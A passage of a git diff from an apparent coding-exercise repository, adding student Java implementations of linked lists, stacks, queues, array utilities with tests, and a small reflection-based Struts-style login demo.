+		ptr1.next = pnew;
+
+	}
+
+	public void add(int index, Object o) {
+		size();
+		if (index > size || index < 0)
+			throw new IndexOutOfBoundsException("Index: " + index + ", Size: "
+					+ size);
+		Node ptr;
+		Node ptemp = new Node();
+		;
+		Node pnew;// ʵ�����½ڵ�
+		ptr = head.getNext();
+		int i = 0;
+		if (ptr == null && size == 0) {
+			System.out.println("��������ʧ�ܣ�");
+		}
+		while (ptr != null) {
+			ptemp = ptr;
+			if (index == 0) {
+				pnew = new Node();
+				pnew.setData(o);
+				pnew.setNext(ptr);
+				head.setNext(pnew);
+				break;
+			}
+			if (index == i && index > 0) {
+				ptemp = getNode(i-1);
+				pnew = new Node();
+				pnew.setData(o);
+				pnew.setNext(ptr);
+				ptemp.setNext(pnew);//
+				System.out.println("��������" + o + "�ɹ���");
+				break;
+			}
+			ptr = ptr.getNext();
+			i++;
+		}
+		if (ptr == null && size > 0) {
+			pnew = new Node();
+			pnew.setData(o);
+			pnew.setNext(null);
+			ptemp.setNext(pnew);//
+			System.out.println("��������" + o + "�ɹ���");
+		}
+
+	}
+
+	public Object get(int index) {
+		size();
+		if (index > size || index < 0 || index == size)
+			throw new IndexOutOfBoundsException("Index: " + index + ", Size: "
+					+ size);
+		Node ptr = head.getNext();
+		Object tempData = null;
+		int i = 0;
+		while (ptr != null) {
+			if (index == i) {
+				tempData = ptr.getData();
+			}
+			ptr = ptr.getNext();
+			i++;
+		}
+
+		return tempData;
+	}
+
+	public Node getNode(int index) {
+		size();
+		if (index > size || index < 0 || index == size)
+			throw new IndexOutOfBoundsException("Index: " + index + ", Size: "
+					+ size);
+		Node ptr = head.getNext();
+		Node tempData = null;
+		int i = 0;
+		while (ptr != null) {
+			if (index == i) {
+				tempData = ptr;
+			}
+			ptr = ptr.getNext();
+			i++;
+		}
+
+		return tempData;
+	}
+
+	public Object remove(int index) {
+		size();
+		if(size()==0){
+			throw new NullPointerException("list�ڲ�Ϊ�գ�����ɾ������");
+		}
+		if (index > size || index < 0 || index == size)
+			throw new IndexOutOfBoundsException("Index: " + index + ", Size: "
+					+ size);
+		Node ptr = head.getNext();
+		Node ptrNext = new Node();
+		Object tempData = null;
+		int i = 0;
+		while (ptr != null) {
+			if (index == 0) {
+				ptrNext = ptr.getNext();
+				head.setNext(ptrNext);
+				break;
+			}
+			if (index == i && index > 0) {
+				Node ptrprevious = getNode(i - 1);
+				tempData = ptr.getData();
+				ptrprevious.setNext(ptr.getNext());
+				break;
+			}
+			ptr = ptr.getNext();
+			i++;
+		}
+		return tempData;
+	}
+
+	public int size() {
+		int i = 0;
+		Node ptr = head.getNext();
+		while (ptr != null) {
+			ptr = ptr.getNext();
+			i++;
+		}
+		size = i;
+		return size;
+	}
+
+	public void addFirst(Object o) {
+		add(0,o);
+
+	}
+
+	public void addLast(Object o) {
+		/*Node ptr = head.getNext();
+		Node pnew = new Node();
+		pnew.setData(o);
+		Node ptemp = new Node();
+		if (ptr == null) {
+			head.setNext(pnew);
+		} else {
+			while (ptr != null) {
+				ptemp = ptr;
+				ptr = ptr.getNext();
+			}
+			if (ptr == null) {
+				ptemp.setNext(pnew);
+			}
+		}*/
+		add(size(),o);
+
+	}
+
+	public Object removeFirst() {
+		Node ptr = head.getNext();
+		Object temp = null;
+		if (ptr == null) {
+			throw new NullPointerException("LinkedList���������ݣ����ܽ���ɾ������");
+		} else {
+			temp = ptr.getData();
+			remove(0);
+		}
+
+		return temp;
+	}
+
+	public Object removeLast() {
+		size();
+		Node ptr = head.getNext();
+		Object temp = null;
+		if (ptr == null) {
+			throw new NullPointerException("LinkedList���������ݣ����ܽ���ɾ������");
+		} else {
+			temp = remove(size - 1);
+		}
+
+		return temp;
+	}
+
+	private static class Node {
+		Object data;
+		Node next;
+
+		public Object getData() {
+			return data;
+		}
+
+		public void setData(Object data) {
+			this.data = data;
+		}
+
+		public Node getNext() {
+			return next;
+		}
+
+		public void setNext(Node next) {
+			this.next = next;
+		}
+
+	}
+
+}
diff --git a/group23/1246614258/src/com/coding/datastructs/List.java b/group23/1246614258/src/com/coding/datastructs/List.java
new file mode 100644
index 0000000000..35ece31ca6
--- /dev/null
+++ b/group23/1246614258/src/com/coding/datastructs/List.java
@@ -0,0 +1,9 @@
+package com.coding.datastructs;
+
+public interface List {
+	public void add(Object o);
+	public void add(int index, Object o);
+	public Object get(int index);
+	public Object remove(int index);
+	public int size();
+}
diff --git a/group23/1246614258/src/com/coding/datastructs/MyIterator.java b/group23/1246614258/src/com/coding/datastructs/MyIterator.java
new file mode 100644
index 0000000000..be827a7875
--- /dev/null
+++ b/group23/1246614258/src/com/coding/datastructs/MyIterator.java
@@ -0,0 +1,35 @@
+package com.coding.datastructs;
+
+import java.util.Iterator;
+
+public class MyIterator {
+	public Iterator iterator(){
+		return null;
+	}
+	private class Itera implements Iterator<Object>{
+		int cursor; 
+		int lastRet = -1; 
+
+		@Override
+		public boolean hasNext() {
+			// TODO Auto-generated method stub
+			return false;
+		}
+
+		@Override
+		public Object next() {
+			// TODO Auto-generated method stub
+			return null;
+		}
+
+		@Override
+		public void remove() {
+			// TODO Auto-generated method stub
+			
+		}
+
+		
+		
+	}
+	
+}
diff --git a/group23/1246614258/src/com/coding/datastructs/Queue.java b/group23/1246614258/src/com/coding/datastructs/Queue.java
new file mode 100644
index 0000000000..4e36db418a
--- /dev/null
+++ b/group23/1246614258/src/com/coding/datastructs/Queue.java
@@ -0,0 +1,30 @@
+package com.coding.datastructs;
+	public class Queue{
+		private LinkedList list = new LinkedList();
+		
+		public void enQueue(Object o){	
+			list.add(o);
+		}
+		
+		public Object deQueue(){
+			if (list.size()<=0) {
+				throw new NullPointerException("Queue���������ݣ����ܽ���ɾ������");
+			}
+			Object o = list.get(0);
+			list.removeFirst();
+			return o;
+		}
+		
+		public boolean isEmpty(){
+			int count = size();
+			if(count<0){
+				return true;
+			}
+			return false;
+		}
+		
+		public int size(){
+			return list.size();
+		}
+	}
+
diff --git a/group23/1246614258/src/com/coding/datastructs/Stack.java b/group23/1246614258/src/com/coding/datastructs/Stack.java
new file mode 100644
index 0000000000..269f3c900e
--- /dev/null
+++ b/group23/1246614258/src/com/coding/datastructs/Stack.java
@@ -0,0 +1,33 @@
+package com.coding.datastructs;
+
+public class Stack {
+	private ArrayList elementData = new ArrayList();
+	
+	public void push(Object o){	
+		elementData.add(o);
+	}
+	
+	public Object pop(){
+		if (elementData.size()<=0) {
+			throw new NullPointerException("Stack���������ݣ����ܽ���ɾ������"); 
+		}
+		Object data = elementData.get(elementData.size()-1);
+		elementData.remove(size()-1);
+		return data;
+	}
+	
+	public Object peek(){
+		Object data = elementData.get(elementData.size()-1);
+		return data;
+	}
+	public boolean isEmpty(){
+		if(elementData.size()>0){
+			return false;
+		}else{
+			return false;	
+		}
+	}
+	public int size(){
+		return elementData.size();
+	}
+}
diff --git a/group23/1246614258/src/com/coding/test/ArrayListTest.java b/group23/1246614258/src/com/coding/test/ArrayListTest.java
new file mode 100644
index 0000000000..76ba571c78
--- /dev/null
+++ b/group23/1246614258/src/com/coding/test/ArrayListTest.java
@@ -0,0 +1,32 @@
+package com.coding.test;
+import com.coding.datastructs.ArrayList;
+import com.coding.datastructs.Iterator;
+
+
+public class ArrayListTest {
+
+	/**
+	 * <p>Description:</p>
+	 * @param args
+	 * @author:Wilson huang
+	 * @date 2017-3-12����12:08:10
+	 */
+	public static void main(String[] args) {
+		// TODO Auto-generated method stub
+		ArrayList aa = new ArrayList();
+		aa.add("aa");
+		aa.add("bb");
+		aa.add("cc");
+		//aa.remove(3);
+		aa.add(2, "44");
+		for(int i=0;i<aa.size();i++){
+			System.out.println(aa.get(i));
+		}
+		Iterator it = aa.iterator();
+		while(it.hasNext()){
+			System.out.println(it.next());
+		}
+
+	}
+
+}
diff --git a/group23/1246614258/src/com/coding/test/LinkedListTest.java b/group23/1246614258/src/com/coding/test/LinkedListTest.java
new file mode 100644
index 0000000000..4dfc329f05
--- /dev/null
+++ b/group23/1246614258/src/com/coding/test/LinkedListTest.java
@@ -0,0 +1,28 @@
+package com.coding.test;
+import com.coding.datastructs.LinkedList;
+
+
+public class LinkedListTest {
+
+	/**
+	 * <p>Description:</p>
+	 * @param args
+	 * @author:Wilson huang
+	 * @date 2017-3-12����1:45:58
+	 */
+	
+	public static void main(String[] args) {
+		// TODO Auto-generated method stub
+		LinkedList list = new LinkedList();
+		list.add("a");
+		list.add("b");
+		list.add("c");
+		list.add("d");
+		list.removeLast();
+		for(int i=0;i<list.size();i++){
+			System.out.println(list.get(i));
+			
+		}
+	}
+
+}
diff --git a/group23/1246614258/src/com/coding/test/QueueTest.java b/group23/1246614258/src/com/coding/test/QueueTest.java
new file mode 100644
index 0000000000..c9ec4fbf65
--- /dev/null
+++ b/group23/1246614258/src/com/coding/test/QueueTest.java
@@ -0,0 +1,22 @@
+package com.coding.test;
+import com.coding.datastructs.Queue;
+
+
+public class QueueTest {
+
+	/**
+	 * <p>Description:</p>
+	 * @param args
+	 * @author:Wilson huang
+	 * @date 2017-3-12����2:42:15
+	 */
+	public static void main(String[] args) {
+		// TODO Auto-generated method stub
+		Queue q = new Queue();
+		q.enQueue("a");
+		q.enQueue("b");
+		System.out.println(q.deQueue());
+
+	}
+
+}
diff --git a/group23/1246614258/src/com/coding/test/StackTest.java b/group23/1246614258/src/com/coding/test/StackTest.java
new file mode 100644
index 0000000000..41f2a15b5b
--- /dev/null
+++ b/group23/1246614258/src/com/coding/test/StackTest.java
@@ -0,0 +1,25 @@
+package com.coding.test;
+import com.coding.datastructs.Stack;
+
+
+public class StackTest {
+
+	/**
+	 * <p>Description:</p>
+	 * @param args
+	 * @author:Wilson huang
+	 * @date 2017-3-12����2:34:15
+	 */
+	public static void main(String[] args) {
+		// TODO Auto-generated method stub
+		Stack a = new Stack();
+		a.push("a");
+		a.push("b");
+		a.push("c");
+		System.out.println(a.isEmpty());
+		System.out.println(a.peek());
+		System.out.println(a.pop());
+
+	}
+
+}
diff --git "a/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/DataStructsTest/src/com/coding/datastructs/ArrayUtil.java" "b/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/DataStructsTest/src/com/coding/datastructs/ArrayUtil.java"
new file mode 100644
index 0000000000..ff773dffcc
--- /dev/null
+++ "b/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/DataStructsTest/src/com/coding/datastructs/ArrayUtil.java"
@@ -0,0 +1,141 @@
+/**
+ * 
+ */
+package com.coding.datastructs;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.Set;
+
+
+public class ArrayUtil {
+	
+	
+	public void reverseArray(int[] origin){
+		for (int i=0; i<origin.length/2; i++) {
+            int temp = origin[i];
+            origin[i] = origin[origin.length-1-i];
+            origin[origin.length-1-i] = temp;
+    }
+	}
+	
+	
+	
+	public int[] removeZero(int[] oldArray){
+		int count=0;
+		for(int i=0;i<oldArray.length;i++){
+			if(oldArray[i]!=0){
+				oldArray[count++]=oldArray[i];
+			}else{
+				continue;
+			}
+		}
+		return Arrays.copyOfRange(oldArray, 0, count);
+	}
+	
+	
+	
+	public int[] merge(int[] array1, int[] array2){
+		int length = array1.length+array2.length;
+		int[] newArray = new int[length];
+		System.arraycopy(array1, 0, newArray, 0,array1.length);
+		System.arraycopy(array2, 0, newArray, array1.length,array2.length);
+		Set<Integer> temp = new HashSet<Integer>();
+		for(Integer i : newArray)
+			temp.add(i); 
+        for (int i = 0; i < temp.size(); i++) {  
+        	newArray[i]=(int)temp.toArray()[i];
+        }
+        Arrays.sort(Arrays.copyOfRange(newArray, 0, temp.size()));
+		return  Arrays.copyOfRange(newArray, 0, temp.size());
+	}
+	
+	public int[] grow(int [] oldArray,  int size){
+			int[] target = new int[oldArray.length+size];
+			System.arraycopy(oldArray, 0, target, 0, oldArray.length);
+			return target;
+	}
+	
+	
+	public int[] fibonacci(int max){
+		ArrayList<Integer> list = new ArrayList<Integer>();
+        list.add(1);
+        list.add(1);
+        if(max<=1){
+        	return new int[0];
+        }
+        for (int i = 2; i < max; i++) {
+        	int a = list.get(i-1)+list.get(i-2);
+            if(a<max){
+            	list.add(a);
+            }else{
+            	break;
+            }
+        }
+        int[] newArray = new int[list.size()];
+        for(int i=0;i<list.size();i++){
+        	newArray[i]=(int)list.get(i);
+        }
+		return newArray;
+	}
+	
+	
+	public int[] getPrimes(int max){
+		ArrayList<Integer> list = new ArrayList<Integer>();
+		int j=1;
+		for(int i=2;i<100;i++){
+			j=i;
+			while(j>0){
+				if(i%j==0&&i!=j&&j!=1){
+					break;
+				}else{
+					j--;
+				}
+			}
+			if(j==0){
+				list.add(i);
+			}
+		}
+		int[] newArray = new int[list.size()];
+        for(int i=0;i<list.size();i++){
+        	newArray[i]=(int)list.get(i);
+        }
+		return newArray;
+	}
+	
+	
+	public int[] getPerfectNumbers(int max){
+		ArrayList<Integer> list = new ArrayList<Integer>();
+		for(int i = 1; i < max; i++)  
+        {  
+            int sum = 0;  
+            for(int j = 1; j < i; j++)  
+            {  
+                if(i % j == 0)  
+                {  
+                    sum = sum + j;    
+                }     
+            }  
+            if(sum == i)  
+            {  
+                list.add(i);  
+            }   
+        }
+		int[] newArray = new int[list.size()];
+        for(int i=0;i<list.size();i++){
+        	newArray[i]=(int)list.get(i);
+        }
+		return newArray;
+	}
+	
+	public String join(int[] array, String seperator){
+		StringBuilder str = new StringBuilder();
+		for(int i=0;i<array.length;i++){
+			str.append(array[i]).append(seperator);
+		}
+		return str.substring(0, str.length()-1).toString();
+	}
+	
+
+}
diff --git "a/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/DataStructsTest/src/com/coding/test/ArrayUtilTest.java" "b/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/DataStructsTest/src/com/coding/test/ArrayUtilTest.java"
new file mode 100644
index 0000000000..17e7a06f0e
--- /dev/null
+++ "b/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/DataStructsTest/src/com/coding/test/ArrayUtilTest.java"
@@ -0,0 +1,86 @@
+/**
+ * 
+ */
+package com.coding.test;
+
+
+import org.junit.Test;
+
+import com.coding.datastructs.ArrayUtil;
+
+
+public class ArrayUtilTest {
+	    @Test
+		public void reverseTest(){
+		ArrayUtil array = new ArrayUtil();
+		  int[] origin ={7,9,30,3,5,6,2,4,78,1,4,4567,3};
+		array.reverseArray(origin);
+		for(int i=0;i<origin.length;i++){
+			System.out.print(origin[i]+",");
+		}
+	}
+	    @Test
+	public void removeZeroTest(){
+		ArrayUtil array = new ArrayUtil();
+		int[] originArray ={0,1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5,0};
+		int[] newArray=array.removeZero(originArray);
+		for(int i=0;i<newArray.length;i++){
+			System.out.print(newArray[i]+",");
+		}
+	}
+	    @Test
+	public void mergeTest(){
+		ArrayUtil array = new ArrayUtil();
+		int[] a1 = {3, 5, 7,8}; 
+		int[] a2 = {4, 5, 6,7};
+		int[] a3 = array.merge(a1, a2);
+		for(int i=0;i<a3.length;i++){
+			System.out.print(a3[i]+",");
+		}
+		
+	}
+	    @Test
+	public void growTest(){
+		ArrayUtil array = new ArrayUtil();
+		int[] oldArray = {2,3,6};
+		oldArray = array.grow(oldArray, 3);
+		for(int i=0;i<oldArray.length;i++){
+			System.out.print(oldArray[i]+",");
+		}
+	}
+	    @Test
+	public void fibinaqiTest(){
+		ArrayUtil array = new ArrayUtil();
+		int[] a = array.fibonacci(56);
+		for(int i=0;i<a.length;i++){
+			System.out.print(a[i]+",");
+		}
+	}
+	    @Test
+	public void sushuTest(){
+		ArrayUtil array = new ArrayUtil();
+		int[] aa = array.getPrimes(100);
+		for(int t=0;t<aa.length;t++){
+			System.out.print(aa[t]+",");
+		}
+	}
+	    @Test	
+	public void perfectTest(){
+		ArrayUtil array = new ArrayUtil();
+		int[] aaa = array.getPerfectNumbers(1000);
+		for(int t=0;t<aaa.length;t++){
+			System.out.print(aaa[t]+",");
+		}
+	}
+	    @Test	
+	public void seperatorTest(){
+		ArrayUtil array = new ArrayUtil();
+		int[] arr = array.getPrimes(100);
+		String str = array.join(arr, "-");
+		System.out.println(str);
+	}
+		
+		//
+	
+
+}
diff --git "a/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/LoginAction.java" "b/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/LoginAction.java"
new file mode 100644
index 0000000000..07d16b45d3
--- /dev/null
+++ "b/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/LoginAction.java"
@@ -0,0 +1,35 @@
+package com.coderising.litestruts;
+
+
+public class LoginAction{
+    private String name ;
+    private String password;
+    private String message;
+
+    public String getName() {
+        return name;
+    }
+
+    public String getPassword() {
+        return password;
+    }
+
+    public String execute(){
+            if("test".equals(name) && "1234".equals(password)){
+                this.message = "login successful";
+                return "success";
+            }
+            this.message = "login failed,please check your user/pwd";
+            return "fail";
+    }
+
+    public void setName(String name){
+        this.name = name;
+    }
+    public void setPassword(String password){
+        this.password = password;
+    }
+    public String getMessage(){
+        return this.message;
+    }
+}
\ No newline at end of file
diff --git "a/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/Struts.java" "b/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/Struts.java"
new file mode 100644
index 0000000000..bdcafdff8a
--- /dev/null
+++ "b/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/Struts.java"
@@ -0,0 +1,122 @@
+package com.coderising.litestruts;
+
+import java.io.File;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+import org.jdom.Document;
+import org.jdom.Element;
+import org.jdom.input.SAXBuilder;
+
+public class Struts {
+
+	public static View runAction(String actionName,
+			Map<String, String> parameters) {
+
+		
+		View view = new View();
+		Map<String,Map<String,String>> array = new HashMap<String, Map<String,String>>();
+		Map<String, Object> params = new HashMap<String, Object>();
+		Map<String, String> classData = new HashMap<String, String>();
+		try {
+			analysisXml(classData,array);
+			Map<String, String> jspData = array.get(actionName);
+			String s = "�Բ��������ݹ�����actionName��û�ж�Ӧ��class�࣬������Ҫ���´�";
+			if (!classData.containsKey(actionName)) {
+				throw new ClassNotFoundException(s);
+			}
+			
+			Class<?> class1 = Class.forName(classData.get(actionName));
+			LoginAction login = (LoginAction) class1.newInstance();
+			for (String ss : parameters.keySet()) {
+				Method[] methos1 = class1.getMethods();
+				for (int i = 0; i < methos1.length; i++) {
+					if (("set" + ss.substring(0, 1).toUpperCase() + ss
+							.substring(1)).equals(methos1[i].getName())) {
+						methos1[i].invoke(login, parameters.get(ss));
+						break;
+
+					}
+				}
+			}
+			
+			Method method1 = class1.getMethod("execute");
+			String result = (String) method1.invoke(login);
+			if(null!=result){
+				view.setJsp(jspData.get(result));
+			}
+			Method[] methos2 = class1.getMethods();
+			for (int i = 0; i < methos2.length; i++) {
+				if(methos2[i].getName().substring(0, 3).equals("get")){
+					Object value1 = (Object) (methos2[i].invoke(login));
+					String name1 = methos2[i].getName();
+					params.put(name1.substring(3, 4).toLowerCase()+name1.substring(4), value1);
+				}
+			}
+			view.setParameters(params);
+
+		} catch (Exception e) {
+			// TODO Auto-generated catch block
+			e.printStackTrace();
+		}
+
+		return view;
+	}
+
+	
+	public static void analysisXml(Map<String, String> xmlData,Map<String,Map<String,String>> array) {
+		try {
+			
+			String dirpath = System.getProperty("user.dir");
+			String xmlFile = dirpath + "/WebContent/WEB-INF/etc/struts.xml";
+			SAXBuilder builder = new SAXBuilder();
+			Document doc = builder.build(new File(xmlFile));
+			Element xRoot = doc.getRootElement();
+			List actions = getChildren(xRoot, "action");
+			for (int i = 0; i < actions.size(); i++) {
+				Element e = (Element) actions.get(i);
+				String actionName1 = getAttributeValue(e, "name");
+				String className = getAttributeValue(e, "class");
+				xmlData.put(actionName1, className);
+				List results = getChildren(e, "result");
+				Map<String, String> jspData = new HashMap<String, String>();
+				for (int j = 0; j < results.size(); j++) {
+					Element result = (Element) results.get(j);
+					String jspUrl = getValue(result);
+					String resultName = getAttributeValue(result, "name");
+					jspData.put(resultName, jspUrl);
+					array.put(actionName1, jspData);
+				}
+			}
+
+			// /StrutsDemo/WebContent/WEB-INF/etc/struts.xml
+		} catch (Exception e) {
+			e.printStackTrace();
+		}
+	}
+
+	
+	public static Element getChild(Element element, String sonMark) {
+		return element == null ? null : element.getChild(sonMark);
+	}
+
+	
+	public static List getChildren(Element element, String sonMark) {
+		return element == null ? null : element.getChildren(sonMark);
+	}
+
+	
+	public static String getValue(Element element) {
+		return element == null ? "" : element.getValue();
+	}
+
+	
+	public static String getAttributeValue(Element element, String attribute) {
+		return element == null ? null : element.getAttributeValue(attribute);
+	}
+
+}
\ No newline at end of file
diff --git "a/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/StrutsTest.java" "b/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/StrutsTest.java"
new file mode 100644
index 0000000000..52f08f3652
--- /dev/null
+++ "b/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/StrutsTest.java"
@@ -0,0 +1,43 @@
+package com.coderising.litestruts;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+
+
+
+
+public class StrutsTest {
+
+	@Test
+	public void testLoginActionSuccess() {
+		
+		String actionName = "login";
+        
+		Map<String,String> params = new HashMap<String,String>();
+        params.put("name","test");
+        params.put("password","1234");
+        
+        
+        View view  = Struts.runAction(actionName,params);        
+        
+        Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
+        Assert.assertEquals("login successful", view.getParameters().get("message"));
+	}
+
+	@Test
+	public void testLoginActionFailed() {
+		String actionName = "login";
+		Map<String,String> params = new HashMap<String,String>();
+        params.put("name","test");
+        params.put("password","123456"); //�����Ԥ��IJ�һ��
+        
+        View view  = Struts.runAction(actionName,params);        
+        
+        Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
+        Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("message"));
+	}
+}
\ No newline at end of file
diff --git "a/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/Test.java" "b/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/Test.java"
new file mode 100644
index 0000000000..d7bcd36d42
--- /dev/null
+++ "b/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/Test.java"
@@ -0,0 +1,94 @@
+/**
+ * 
+ */
+package com.coderising.litestruts;
+
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.StringReader;
+import java.lang.reflect.Method;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+import org.jdom.Document;
+import org.jdom.Element;
+import org.jdom.input.SAXBuilder;
+
+/**
+ * Title:
+ * Description:
+ * @author HuangLiang
+ * @2017��3��17������10:55:39
+ * 
+ */
+public class Test {
+
+	/**Description:
+	 * @param args
+	 * @author HuangLiang 2017��3��17�� ����10:55:39
+	 */
+	public static void main(String[] args) {
+		// TODO Auto-generated method stub
+			String name1 = "getName";
+			System.out.println(name1.substring(3, 4).toLowerCase()+name1.substring(4));
+			try {
+				Class<?> class1 = Class.forName("com.coderising.litestruts.LoginAction");
+				Method[] methos1 = class1.getMethods();
+				for(int i=0;i<methos1.length;i++){
+					Class<?> para[] = methos1[i].getParameterTypes();
+					throw new ClassNotFoundException();
+				}
+				System.out.println("���");
+			} catch (ClassNotFoundException e) {
+				// TODO Auto-generated catch block
+				e.printStackTrace();
+			}
+			
+	}
+	/**
+	 * ��ȡXML�ӱ�ǩ
+	 * 
+	 * @param element
+	 *            ��ǩ�ڵ�
+	 * @param sonMark
+	 *            �ӱ�ǩ
+	 * @return
+	 */
+	public static Element getChild(Element element, String sonMark) {
+		return element == null ? null : element.getChild(sonMark);
+	}
+
+	/**
+	 * ��ȡXML�ӱ�ǩ��
+	 * 
+	 * @param element
+	 *            ��ǩ�ڵ�
+	 * @param sonMark
+	 *            �ӱ�ǩ
+	 * @return
+	 */
+	public static List getChildren(Element element, String sonMark) {
+		return element == null ? null : element.getChildren(sonMark);
+	}
+
+	/**
+	 * s ��ȡXML��ǩֵ
+	 * 
+	 * @param element
+	 * @return
+	 */
+	public static String getValue(Element element) {
+		return element == null ? "" : element.getValue();
+	}
+	/**
+	 * s ��ȡXML����ֵ
+	 * 
+	 * @param element
+	 * @return
+	 */
+	public static String getAttributeValue(Element element, String attribute) {
+		return element == null ? null : element.getAttributeValue(attribute);
+	}
+
+}
diff --git "a/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/View.java" "b/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/View.java"
new file mode 100644
index 0000000000..f68a8c438b
--- /dev/null
+++ "b/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/View.java"
@@ -0,0 +1,23 @@
+package com.coderising.litestruts;
+
+import java.util.Map;
+
+public class View {
+	private String jsp;
+	private Map parameters;
+	
+	public String getJsp() {
+		return jsp;
+	}
+	public View setJsp(String jsp) {
+		this.jsp = jsp;
+		return this;
+	}
+	public Map getParameters() {
+		return parameters;
+	}
+	public View setParameters(Map parameters) {
+		this.parameters = parameters;
+		return this;
+	}
+}
\ No newline at end of file
diff --git a/group23/565832157/src/com/coderising/array/ArrayUtil.java b/group23/565832157/src/com/coderising/array/ArrayUtil.java
new file mode 100644
index 0000000000..e5ddb476a6
--- /dev/null
+++ b/group23/565832157/src/com/coderising/array/ArrayUtil.java
@@ -0,0 +1,96 @@
+package com.coderising.array;
+
+public class ArrayUtil {
+	
+	/**
+	 * 给定一个整形数组a , 对该数组的值进行置换
+		例如： a = [7, 9 , 30, 3]  ,   置换后为 [3, 30, 9,7]
+		如果     a = [7, 9, 30, 3, 4] , 置换后为 [4,3, 30 , 9,7]
+	 * @param origin
+	 * @return
+	 */
+	public void reverseArray(int[] origin){
+		
+	}
+	
+	/**
+	 * 现在有如下的一个数组：   int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5}   
+	 * 要求将以上数组中值为0的项去掉，将不为0的值存入一个新的数组，生成的新数组为：   
+	 * {1,3,4,5,6,6,5,4,7,6,7,5}  
+	 * @param oldArray
+	 * @return
+	 */
+	
+	public int[] removeZero(int[] oldArray){
+		return null;
+	}
+	
+	/**
+	 * 给定两个已经排序好的整形数组， a1和a2 ,  创建一个新的数组a3, 使得a3 包含a1和a2 的所有元素， 并且仍然是有序的
+	 * 例如 a1 = [3, 5, 7,8]   a2 = [4, 5, 6,7]    则 a3 为[3,4,5,6,7,8]    , 注意： 已经消除了重复
+	 * @param array1
+	 * @param array2
+	 * @return
+	 */
+	
+	public int[] merge(int[] array1, int[] array2){
+		return  null;
+	}
+	/**
+	 * 把一个已经存满数据的数组 oldArray的容量进行扩展， 扩展后的新数据大小为oldArray.length + size
+	 * 注意，老数组的元素在新数组中需要保持
+	 * 例如 oldArray = [2,3,6] , size = 3,则返回的新数组为
+	 * [2,3,6,0,0,0]
+	 * @param oldArray
+	 * @param size
+	 * @return
+	 */
+	public int[] grow(int [] oldArray,  int size){
+		return null;
+	}
+	
+	/**
+	 * 斐波那契数列为：1，1，2，3，5，8，13，21......  ，给定一个最大值， 返回小于该值的数列
+	 * 例如， max = 15 , 则返回的数组应该为 [1，1，2，3，5，8，13]
+	 * max = 1, 则返回空数组 []
+	 * @param max
+	 * @return
+	 */
+	public int[] fibonacci(int max){
+		return null;
+	}
+	
+	/**
+	 * 返回小于给定最大值max的所有素数数组
+	 * 例如max = 23, 返回的数组为[2,3,5,7,11,13,17,19]
+	 * @param max
+	 * @return
+	 */
+	public int[] getPrimes(int max){
+		return null;
+	}
+	
+	/**
+	 * 所谓“完数”， 是指这个数恰好等于它的因子之和，例如6=1+2+3
+	 * 给定一个最大值max， 返回一个数组， 数组中是小于max 的所有完数
+	 * @param max
+	 * @return
+	 */
+	public int[] getPerfectNumbers(int max){
+		return null;
+	}
+	
+	/**
+	 * 用seperator 把数组 array给连接起来
+	 * 例如array= [3,8,9], seperator = "-"
+	 * 则返回值为"3-8-9"
+	 * @param array
+	 * @param s
+	 * @return
+	 */
+	public String join(int[] array, String seperator){
+		return null;
+	}
+	
+
+}
diff --git a/group23/565832157/src/com/coderising/download/DownloadThread.java b/group23/565832157/src/com/coderising/download/DownloadThread.java
new file mode 100644
index 0000000000..900a3ad358
--- /dev/null
+++ b/group23/565832157/src/com/coderising/download/DownloadThread.java
@@ -0,0 +1,20 @@
+package com.coderising.download;
+
+import com.coderising.download.api.Connection;
+
+public class DownloadThread extends Thread{
+
+	Connection conn;
+	int startPos;
+	int endPos;
+
+	public DownloadThread( Connection conn, int startPos, int endPos){
+		
+		this.conn = conn;		
+		this.startPos = startPos;
